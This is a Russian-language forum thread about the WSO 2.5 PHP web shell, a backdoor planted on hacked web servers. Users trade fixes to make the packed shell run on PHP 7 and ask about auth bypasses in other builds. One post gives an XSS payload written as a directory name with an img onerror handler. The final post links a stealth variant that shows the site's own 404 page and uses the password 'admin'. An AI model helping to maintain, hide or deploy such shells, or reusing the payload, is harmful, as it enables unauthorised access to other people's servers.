WSO 2.5 (web shell)

[SynQ]

На PHP7 еще никто не тестировал? Работает, сыпет варнинги в лог?

[nobody]

php 7.0.0
wso2_pack.php

Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /srv/http/wso2_pack.php on line 7

wso2.php

Fatal error: Uncaught Error: Call to undefined function set_magic_quotes_runtime() in /srv/http/wso2.php:20 Stack trace: #0 {main} thrown in /srv/http/wso2.php on line 20

что, в общем-то лечится легко. Если пофиксить конкретно эти вещи, шелл на первый взгляд работает как работал

[passwd]

Подскажите, находил ли кто нибудь в WSO возможность обхода пароля/авторизации? Или выполнение/инъекции кода? Какие есть уязвимости в WSO?

[FIXER]

Сообщение от passwd

Подскажите, находил ли кто нибудь в WSO возможность обхода пароля/авторизации? Или выполнение/инъекции кода? Какие есть уязвимости в WSO?

в других сборках есть RCE и байпасс и стучалки )
но у Орба открытий код!)

[crlf]

XSS Создаём диру и пробуем посмотреть через WSO.

mkdir "'\"><img src=x onerror=alert();>"

[Molofya]

Сообщение от crlf

XSS Создаём диру и пробуем посмотреть через WSO.

Ага, используется во многих Honeypot системах этот трюк. Правда, актуально только для WSO, и только для директорий.
А вот поправить вывод uname -a, уже не только для wso


У меня вопрос по исправлению одного косяка WSO, так и не смог до него добраться, выскакивает он совершенно рандомно, и я не могу ухватиться ни за что, чтобы отладить.
Проблема неоднократно тут обсуждалась, но решения я так и не нашел.
Связано это с поиском по файлам, если щелкнуть по найденному файлу, и нажать на кнопку Edit, то в этот момент происходит сохранение файла, иногда пустого, а иногда в него записывается название файла, и файл убивается. Происходит это, повторюсь, рандомно, и отладить не получается даже если пытаться повторить тоже самое на тех же самых файлах. В момент редактирования найденного файла по какой то причине иногда в параметр p3= записывается название файла, и соответственно шеллу даётся команда на сохранение.
Если кто то смог данную проблему решить, то прошу поделиться решением.

[Ambertos]

Сообщение от nobody

php 7.0.0
wso2_pack.php

Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /srv/http/wso2_pack.php on line 7

wso2.php

Подскажите чем заменить preg_replace? На 7 пыхе пакованный шел отказывается работать.

[kfor]

Сообщение от Ambertos

Подскажите чем заменить preg_replace? На 7 пыхе пакованный шел отказывается работать.

Попробуй закоментировать строчку @set_magic_quotes_runtime (0);

[Replace]

Сообщение от nobody

php 7.0.0
wso2_pack.php

Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /srv/http/wso2_pack.php on line 7

wso2.php

Fatal error: Uncaught Error: Call to undefined function set_magic_quotes_runtime() in /srv/http/wso2.php:20 Stack trace: #0 {main} thrown in /srv/http/wso2.php on line 20

что, в общем-то лечится легко. Если пофиксить конкретно эти вещи, шелл на первый взгляд работает как работал

Кому не сложно, выложите пожалуйста исправленные версии. Точно такие же ошибки сыпятся

Получилось залиться закомментировав @set_magic_quotes_runtime (0);
Но при переходе в любую директорию просит пароль. При вводе пароля остаюсь на том же месте. Как это можно исправить?

[Pirat]

Выложил свой старый webshell wso в открытый доступ, мне он пока не нужен.

Изменения:
Теперь webshell сложно обнаружить даже если зайти по файлу wso.php.
Что бы войти нужно нажать один раз Tab и ввести пароль "admin" иначе вы будете смотреть на оригинальную страницу ошибки 404. Ошибка всегда уникальная в зависимости от сайта, wso использует оригинальные ошибки сайта.
Удален устаревший код sql, вырезан полностью, но вы можете подключить adminer для доступа к базе данных.
Исправлен дизайн hard_linux
Добавлен анонимайзер
Добавлены имена забытых авторов, если кого то забыли, напишите об этом.
https://github.com/twepl/wso/